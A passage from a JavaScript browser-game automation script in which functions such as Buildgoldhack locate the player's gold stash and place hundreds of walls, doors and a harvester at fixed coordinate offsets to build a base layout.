Auto.PlaceBuilding(stashPosition.x + 360, stashPosition.y + 696, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 360, stashPosition.y + 744, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 312, stashPosition.y + 744, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 264, stashPosition.y + 744, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 312, stashPosition.y + 792, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 264, stashPosition.y + 792, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 216, stashPosition.y + 792, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -312, stashPosition.y + 792, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -264, stashPosition.y + 792, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -216, stashPosition.y + 792, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -168, stashPosition.y + 792, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -120, stashPosition.y + 792, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -72, stashPosition.y + 792, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -24, stashPosition.y + 792, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 24, stashPosition.y + 792, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 72, stashPosition.y + 792, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 120, stashPosition.y + 792, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -264, stashPosition.y + 840, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -216, stashPosition.y + 840, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -168, stashPosition.y + 840, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -120, stashPosition.y + 840, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -72, stashPosition.y + 840, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -24, stashPosition.y + 840, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 24, stashPosition.y + 840, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 72, stashPosition.y + 840, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 120, stashPosition.y + 840, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 168, stashPosition.y + 840, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 216, stashPosition.y + 840, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 264, stashPosition.y + 840, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -552, stashPosition.y + -552, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 552, stashPosition.y + -552, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 432, stashPosition.y + -432, 'Harvester', 0);
Auto.PlaceBuilding(stashPosition.x + -168, stashPosition.y + 72, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -168, stashPosition.y + -72, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 168, stashPosition.y + -72, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 168, stashPosition.y + 72, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -72, stashPosition.y + -168, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -24, stashPosition.y + -168, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 24, stashPosition.y + -168, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 72, stashPosition.y + -168, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -72, stashPosition.y + 168, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -24, stashPosition.y + 168, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 24, stashPosition.y + 168, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 72, stashPosition.y + 168, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 120, stashPosition.y + 72, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 120, stashPosition.y + 24, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 120, stashPosition.y + -24, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 168, stashPosition.y + -24, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 168, stashPosition.y + 24, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 120, stashPosition.y + -72, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -24, stashPosition.y + -120, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 24, stashPosition.y + -120, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -24, stashPosition.y + 120, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 24, stashPosition.y + 120, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -168, stashPosition.y + 24, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -168, stashPosition.y + -24, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -120, stashPosition.y + -24, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -120, stashPosition.y + -72, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -120, stashPosition.y + 24, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -120, stashPosition.y + 72, 'Wall', 0);
}
}, 0)
}
Auto3.BuildThingBase = function() {
let waitForGoldStash = setInterval(function() {
if (document.querySelectorAll("[data-building]")[10].classList[1] == "is-disabled") {
let stash = Auto3.GetGoldStash();
if (stash == undefined) return
let stashPosition = {
x: stash.x,
y: stash.y
}
}
}, 0)
}
EXTREME.Buildgoldhack = function() {
var waitForGoldStash = setInterval(function() {
if (document.querySelectorAll("[data-building]")[10].classList[1] == "is-disabled") {
var stash = EXTREME.GetGoldStash();
if (stash == undefined) return
var stashPosition = {
x: stash.x,
y: stash.y
}
clearInterval(waitForGoldStash)
Auto.PlaceBuilding(stashPosition.x + -216, stashPosition.y + -360, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -264, stashPosition.y + -264, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -264, stashPosition.y + -216, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -216, stashPosition.y + -168, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -216, stashPosition.y + -120, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -216, stashPosition.y + -24, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -216, stashPosition.y + 24, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -168, stashPosition.y + 24, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -216, stashPosition.y + -72, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -24, stashPosition.y + -216, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 24, stashPosition.y + -216, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -24, stashPosition.y + -168, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 72, stashPosition.y + -216, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 120, stashPosition.y + -216, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 168, stashPosition.y + -216, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 216, stashPosition.y + -264, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 216, stashPosition.y + -312, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 216, stashPosition.y + -360, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 216, stashPosition.y + 24, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 216, stashPosition.y + 72, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 216, stashPosition.y + 120, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 216, stashPosition.y + 168, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 216, stashPosition.y + 264, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 216, stashPosition.y + 312, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 216, stashPosition.y + 360, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 216, stashPosition.y + -24, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 168, stashPosition.y + -24, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 24, stashPosition.y + 168, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 24, stashPosition.y + 216, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -24, stashPosition.y + 216, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -72, stashPosition.y + 216, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -120, stashPosition.y + 216, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -168, stashPosition.y + 216, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -216, stashPosition.y + 264, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -216, stashPosition.y + 312, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -216, stashPosition.y + 360, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -408, stashPosition.y + -552, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -408, stashPosition.y + -600, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -408, stashPosition.y + -648, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -216, stashPosition.y + -840, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -168, stashPosition.y + -840, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -24, stashPosition.y + -840, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 72, stashPosition.y + -840, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 120, stashPosition.y + -840, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 168, stashPosition.y + -840, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 216, stashPosition.y + -840, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 264, stashPosition.y + -840, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 24, stashPosition.y + -840, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -72, stashPosition.y + -840, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -312, stashPosition.y + -792, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -360, stashPosition.y + -696, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -360, stashPosition.y + -648, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -360, stashPosition.y + -744, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -312, stashPosition.y + -744, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -312, stashPosition.y + -696, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -216, stashPosition.y + -792, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -216, stashPosition.y + -744, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -264, stashPosition.y + -744, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -264, stashPosition.y + -792, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -120, stashPosition.y + -840, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -120, stashPosition.y + -792, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -168, stashPosition.y + -792, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -120, stashPosition.y + -744, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -72, stashPosition.y + -744, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -24, stashPosition.y + -744, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -168, stashPosition.y + -744, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -24, stashPosition.y + -792, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -72, stashPosition.y + -792, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 120, stashPosition.y + -792, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 168, stashPosition.y + -792, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 216, stashPosition.y + -792, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 312, stashPosition.y + -792, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 360, stashPosition.y + -792, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 312, stashPosition.y + -840, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 264, stashPosition.y + -792, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 24, stashPosition.y + -792, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 24, stashPosition.y + -744, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 72, stashPosition.y + -744, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 120, stashPosition.y + -744, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 216, stashPosition.y + -744, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 264, stashPosition.y + -744, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 312, stashPosition.y + -744, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 360, stashPosition.y + -744, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 360, stashPosition.y + -696, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 360, stashPosition.y + -648, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 312, stashPosition.y + -696, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 168, stashPosition.y + -744, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 72, stashPosition.y + -792, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 408, stashPosition.y + -792, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 408, stashPosition.y + -744, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 408, stashPosition.y + -696, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 408, stashPosition.y + -648, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 408, stashPosition.y + -600, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 408, stashPosition.y + -552, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 552, stashPosition.y + -408, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 600, stashPosition.y + -408, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 648, stashPosition.y + -408, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 744, stashPosition.y + -360, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 696, stashPosition.y + -360, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 648, stashPosition.y + -360, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 696, stashPosition.y + -312, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 744, stashPosition.y + -312, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 792, stashPosition.y + -312, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 840, stashPosition.y + -264, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 840, stashPosition.y + -216, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 840, stashPosition.y + -168, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 840, stashPosition.y + 72, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 840, stashPosition.y + 168, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 840, stashPosition.y + 216, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 840, stashPosition.y + 264, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 840, stashPosition.y + 120, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 840, stashPosition.y + 24, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 840, stashPosition.y + -24, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 840, stashPosition.y + -72, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 840, stashPosition.y + -120, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 792, stashPosition.y + -216, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 792, stashPosition.y + -264, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 744, stashPosition.y + -264, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 744, stashPosition.y + -216, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 744, stashPosition.y + -168, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 744, stashPosition.y + -120, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 744, stashPosition.y + -72, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 744, stashPosition.y + -24, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 744, stashPosition.y + 168, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 744, stashPosition.y + 216, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 744, stashPosition.y + 264, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 792, stashPosition.y + 264, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 792, stashPosition.y + 216, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 792, stashPosition.y + 120, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 792, stashPosition.y + 72, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 792, stashPosition.y + 24, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 792, stashPosition.y + -72, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 792, stashPosition.y + -120, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 792, stashPosition.y + -24, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 744, stashPosition.y + 24, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 744, stashPosition.y + 72, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 744, stashPosition.y + 120, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 792, stashPosition.y + 168, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 792, stashPosition.y + -168, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 648, stashPosition.y + 360, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 696, stashPosition.y + 360, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 744, stashPosition.y + 360, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 792, stashPosition.y + 360, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 840, stashPosition.y + 360, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 840, stashPosition.y + 312, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 792, stashPosition.y + 312, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 744, stashPosition.y + 312, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 696, stashPosition.y + 312, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 840, stashPosition.y + 408, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 792, stashPosition.y + 408, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 744, stashPosition.y + 408, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 696, stashPosition.y + 408, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 648, stashPosition.y + 408, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 600, stashPosition.y + 408, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 552, stashPosition.y + 408, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -72, stashPosition.y + 744, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -72, stashPosition.y + 792, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -24, stashPosition.y + 840, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -24, stashPosition.y + 792, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -24, stashPosition.y + 744, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 24, stashPosition.y + 744, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 24, stashPosition.y + 792, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 24, stashPosition.y + 840, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 72, stashPosition.y + 840, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 168, stashPosition.y + 840, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 216, stashPosition.y + 792, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 408, stashPosition.y + 552, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 408, stashPosition.y + 600, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 408, stashPosition.y + 648, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 408, stashPosition.y + 696, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 408, stashPosition.y + 744, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 408, stashPosition.y + 792, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 408, stashPosition.y + 840, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 312, stashPosition.y + 840, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 264, stashPosition.y + 840, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 216, stashPosition.y + 840, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 120, stashPosition.y + 840, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 120, stashPosition.y + 792, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 72, stashPosition.y + 792, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 72, stashPosition.y + 744, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 120, stashPosition.y + 744, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 216, stashPosition.y + 744, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 264, stashPosition.y + 744, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 312, stashPosition.y + 744, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 312, stashPosition.y + 696, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 360, stashPosition.y + 696, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 360, stashPosition.y + 648, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 360, stashPosition.y + 744, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 360, stashPosition.y + 792, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 360, stashPosition.y + 840, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 312, stashPosition.y + 792, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 264, stashPosition.y + 792, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 168, stashPosition.y + 792, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 168, stashPosition.y + 744, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -120, stashPosition.y + 744, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -168, stashPosition.y + 744, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -216, stashPosition.y + 744, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -264, stashPosition.y + 744, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -312, stashPosition.y + 744, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -312, stashPosition.y + 696, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -360, stashPosition.y + 696, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -360, stashPosition.y + 648, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -408, stashPosition.y + 600, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -408, stashPosition.y + 648, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -408, stashPosition.y + 696, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -408, stashPosition.y + 744, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -264, stashPosition.y + 840, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -216, stashPosition.y + 840, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -168, stashPosition.y + 840, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -120, stashPosition.y + 840, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -72, stashPosition.y + 840, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -120, stashPosition.y + 792, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -168, stashPosition.y + 792, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -264, stashPosition.y + 792, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -312, stashPosition.y + 792, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -360, stashPosition.y + 792, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -360, stashPosition.y + 744, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -360, stashPosition.y + 840, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -312, stashPosition.y + 840, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -216, stashPosition.y + 792, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -408, stashPosition.y + 552, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -552, stashPosition.y + 408, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -600, stashPosition.y + 408, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -696, stashPosition.y + 408, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -744, stashPosition.y + 408, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -792, stashPosition.y + 408, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -648, stashPosition.y + 408, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -552, stashPosition.y + -408, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -648, stashPosition.y + -408, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -696, stashPosition.y + -408, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -744, stashPosition.y + -408, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -792, stashPosition.y + -408, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -840, stashPosition.y + -408, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -840, stashPosition.y + -360, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -840, stashPosition.y + -312, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -840, stashPosition.y + -264, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -840, stashPosition.y + -216, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -840, stashPosition.y + -168, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -840, stashPosition.y + -120, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -840, stashPosition.y + -72, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -840, stashPosition.y + 120, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -840, stashPosition.y + 168, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -840, stashPosition.y + 264, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -840, stashPosition.y + 360, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -840, stashPosition.y + 312, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -840, stashPosition.y + 216, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -840, stashPosition.y + 72, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -840, stashPosition.y + 24, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -840, stashPosition.y + -24, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -648, stashPosition.y + 360, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -696, stashPosition.y + 360, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -744, stashPosition.y + 360, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -792, stashPosition.y + 360, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -792, stashPosition.y + 312, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -744, stashPosition.y + 312, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -696, stashPosition.y + 312, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -744, stashPosition.y + 264, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -792, stashPosition.y + 264, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -792, stashPosition.y + 216, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -744, stashPosition.y + 216, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -744, stashPosition.y + 168, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -792, stashPosition.y + 168, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -792, stashPosition.y + 120, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -744, stashPosition.y + 120, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -744, stashPosition.y + 72, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -792, stashPosition.y + 72, 'Wall', 0);
